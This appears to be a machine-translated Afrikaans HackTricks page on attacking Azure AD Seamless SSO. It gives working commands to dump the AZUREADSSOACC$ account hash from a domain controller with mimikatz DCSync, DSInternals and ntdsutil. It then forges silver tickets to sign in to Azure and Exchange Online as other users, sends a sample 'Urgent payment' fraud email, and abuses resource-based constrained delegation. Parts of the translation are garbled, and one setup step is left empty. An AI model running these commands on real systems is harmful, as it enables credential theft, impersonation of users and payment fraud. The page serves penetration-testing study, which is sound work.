Az - Seamless SSO

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Van die dokumente: Azure Active Directory Naadloos Enkelinvoer (Azure AD Naadloos SSO) teken outomaties gebruikers in wanneer hulle op hul korporatiewe toestelle wat aan jou korporatiewe netwerk gekoppel is. Wanneer dit geaktiveer is, hoef gebruikers nie hul wagwoorde in te tik om by Azure AD aan te meld nie, en gewoonlik selfs nie hul gebruikersname in te tik nie. Hierdie kenmerk bied jou gebruikers maklike toegang tot jou wolkgebaseerde toepassings sonder om enige addisionele plaaslike komponente nodig te hê.

Basies teken Azure AD Naadloos SSO gebruikers in wanneer hulle op 'n plaaslike domein-gekoppelde rekenaar is.

Dit word ondersteun deur beide PHS (Wagwoordhassinkronisasie) en PTA (Deurvoer-identifikasie).

Desktop SSO gebruik Kerberos vir outentifikasie. Wanneer dit gekonfigureer is, skep Azure AD Connect 'n rekenaarrekening genaamd AZUREADSSOACC$ in die plaaslike AD. Die wagwoord van die AZUREADSSOACC$-rekening word as teks na Azure AD gestuur tydens die konfigurasie.

Die Kerberos-kaartjies word versleutel met die NTHash (MD4) van die wagwoord en Azure AD gebruik die gestuurde wagwoord om die kaartjies te ontsluit.

Azure AD stel 'n eindepunt bloot (https://autologon.microsoftazuread-sso.com) wat Kerberos-kaartjies aanvaar. Die blaaier van 'n domein-gekoppelde masjien stuur die kaartjies na hierdie eindpunt vir SSO.

Plaaslik -> wolk

Die wagwoord van die gebruiker AZUREADSSOACC$ verander nooit. Daarom kan 'n domein-admin 'n kompromieer van die hassink van hierdie rekening en dit dan gebruik om silwerties te skep om met enige plaaslike gebruiker gesinkroniseer na Azure te verbind:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Met die hash kan jy nou silwerties genereer:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Om die silwertiket te gebruik, moet die volgende stappe uitgevoer word:

  1. Begin die Blaaier: Mozilla Firefox moet geopen word.

  2. Stel die Blaaier in:

  3. Toegang tot die Webtoepassing:

    • Besoek 'n webtoepassing wat geïntegreer is met die organisasie se AAD-domein. 'n Gewone voorbeeld is Office 365.

  4. Verifikasieproses:

    • Voer die gebruikersnaam in by die aanmeldingskerm, en los die wagwoordveld leeg.

    • Druk TAB of ENTER om voort te gaan.

Dit vermy nie MFA indien geaktiveer nie

Skep van Kerberos-tikette vir slegs-wolkmense

As die Active Directory-administrateurs toegang het tot Azure AD Connect, kan hulle SID instel vir enige wolkgebruiker. Op hierdie manier kan Kerberos tikette ook vir slegs-wolkmense geskep word. Die enigste vereiste is dat die SID 'n behoorlike SID is.

Die verandering van SID van slegs-wolk-admin-gebruikers is nou geblokkeer deur Microsoft. Vir inligting, besoek https://aadinternals.com/post/on-prem_admin/

On-prem -> Wolk via Hulpbron-Gebaseerde Beperkte Delegering

Enigeen wat rekenaarrekeninge kan bestuur (AZUREADSSOACC$) in die houer of OU waarin hierdie rekening is, kan 'n hulpbron-gebaseerde beperkte delegasie oor die rekening instel en dit benader.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

Verwysings

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated